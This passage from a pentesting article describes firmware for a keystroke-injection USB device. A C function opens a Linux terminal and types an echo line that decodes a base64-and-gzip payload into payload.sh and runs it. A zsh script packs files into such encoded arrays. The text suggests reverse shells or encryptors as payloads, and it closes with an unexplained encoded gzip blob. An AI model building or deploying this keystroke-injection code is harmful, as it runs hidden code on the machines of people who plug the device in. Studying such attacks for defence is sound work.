Now I only have to perform the reverse procedure using the standard Base64 and gzip utilities. I type echo
. On the firmware side, this looks as follows:
void run_script_gzip(uint8_t *src) { send_shortkey('t',MOD_CTRL|MOD_ALT); // Ctrl + Alt + t - open console for (uint32_t i = 0; i < 0x2FFFFF; i++) __asm__("nop"); send_word("echo "); send_word(src); send_word("|base64 -d|gzip -d>payload.sh;" "chmod +x payload.sh;" "./payload.sh\n"); for(uint32_t i = 0; i < 0x2FFFFF; i++) __asm__("nop"); send_word("\n"); cat_ascii_art_gzip(bird_base64);}
Finally, I add the bird. The above method is a convenient way to store and display ASCII graphics in the terminal; it allows to save both space and time. And of course, it’s easier to create such arrays using a script.
#!/bin/zshif [ -z $2 ]; then NAME="ascii"; else NAME=$2; fi;echo "static const uint8_t ${NAME}[]=" |tee "${NAME}.h"cat $1|gzip -9|base64|sed -e 's/^/"/g;s/$/"/g'|tee -a "${NAME}.h"echo ';' |tee -a "${NAME}.h"
The listing is even shorter than the previous one, while the memory space consumption decreases by times. It’s very convenient to use scripts as payloads. You don’t even necessarily need a shell for this: Python may be even better. Take, for instance, a reverse shell or an encryptor. Overall, Python offers plenty of room for creative experiments… I hope that this article was of interest to you. Wishing you all the best in your pentesting endeavors.
www
As usual, the project code is available on GitHub.
Bonus
This small bonus is for those who managed to finish the article. Good luck! 🙂
H4sIAAAAAAACA41XXW/iOBR951d4kbYe1ak1D6hoiLpSM9VCMfF2s2wgPBA3DWFMDNsxaVV4mN++tkPClxkNEsSOzz22z72+1wBg/eCrNBfM4e+rGY4bdsw6yPL5+wuS69Wy69EHbMU99zw6SFYcYS7floMu9ZdrK5AGj5JBlA4I9f9MGOT0b2kDsns68tumhYT/GasnnBJhg3I6GlzH7t0Mm26EYycGf1Eb9DmgS/WIsXB0dzEFMQPed8eGndFBxxF39DPTvGLN6Oc/AE+IDTvuTd5+27XjTy9lI3/yrIsA8OuDFr/cZ/mqIG0yvuABmJW8V1v5EisrHDWAY4e+6/eseMZ3TQCcsNH+jsHt7xbgVJjHnV6HbGRw9R9PMEBnXkj1K4zj57Z1vqKRo+DhFgxwKk/HvkFlf434U2IJvAw8p4+skS5Qdy5Bi/aPQNhJh+X8kPRfzqxjLlErAToS2YuYAhyDIsfG7srtyKxZXLmVdptHkkgX17bpKwPi7ZucFLyUm/1Qg9N4CNhmncES1ASrUuBy19cil46m4O0cx0vcJzxs1s7qq3l7II00V/PmZJ8xMw5uhsRpGbEBSRestiXm653s72Z9hY8isa+8gDfr9nRvqfURgwX4+efTVwhwqzZ6MoqUCl/ICOqLFGu7snE0PCnR4gDH6qZT6EOn+lFl0zKDvFRnD5zv5yzUINZ0eWUTmd+u/nlVsXtzujD1oslZ34xXNoNyKT/UclsYsBE7OTdsBMAXZPab1GmLVjuIwO26XFG8Uxvvnu6wDJ95nW7ud0/NdR1lqAPrudj0uvOaLUKCyg0XSS13pPkWzdrTp1r32RiXZ1ts9md/uABh1cTnyU4AHBq34wU8SBgIVq2MnxkZJww02caekDYHMlfqmB1sVRKxxkn7MGIMR6URshngsA4Xvt+oBfkR1c2sWzdzfg4thD2EiaVCkUsHpJ+cgZ3HS+Bt7ww8vHz2Hhu/vAodlqdo/q9Nxl3YPZ3tsdLXFKu4rcoaiKfVYDA/gWPvMMf3qd9Lpvs36WmZld2jaImId3jUUngCF+vjIjJ0D7vZCRr6I596KktzhPaZoA73s436IxqQgku97BGdmPOLUFGQgNLzO0fokVxuZ0imgUd9mkuEOFdg4tHz4szCoCi4WoeUaUr1qnQnTSeTaHYeVJHBuho7UWxUd03HdkshetStiElFHEILloVW3sx2sES9Bjra09qQUI+5/JgUWk+34XSPlmpPA1Br5R5RLuy3GE3CjxjFBSDqaJxHiWFUivGLjE5HMwLFmCBHLcMKdNSlVG/bD1XsUC9RN1Q7UHDH/UgDX5+Nse/lWn/rbRerqbde4JOx6vT+8b1EKWm9Q3LBEV91PaIL15gky4vekTuBAhXQTpfsXI4vuhzJbZ6qdu1yq0p1MCtWr7fzeWZ1+i7wP1JVSEiQlKxtK1LyjibVpQvSRNtJuzdhpEIeSc/UpmqlVu29QlOWxRCa2S84yURxb5d+SPKTQAqVnNmu3VRzyyd7eEwEr4sZiy5ODCZusk/gRe5KcfHs7HFjHQA23Fopw4u6e59zGdm8PVNqF3ld6tws4yi1/LXKdFTMRLZPOMlWcmlJWz0iiiylcF96PCIy76C2JXA+09d5qiJbeO3D3EtJImz/wlLPp1+O5VcZ1m83wC99IGv8D3P9NCyjDgAA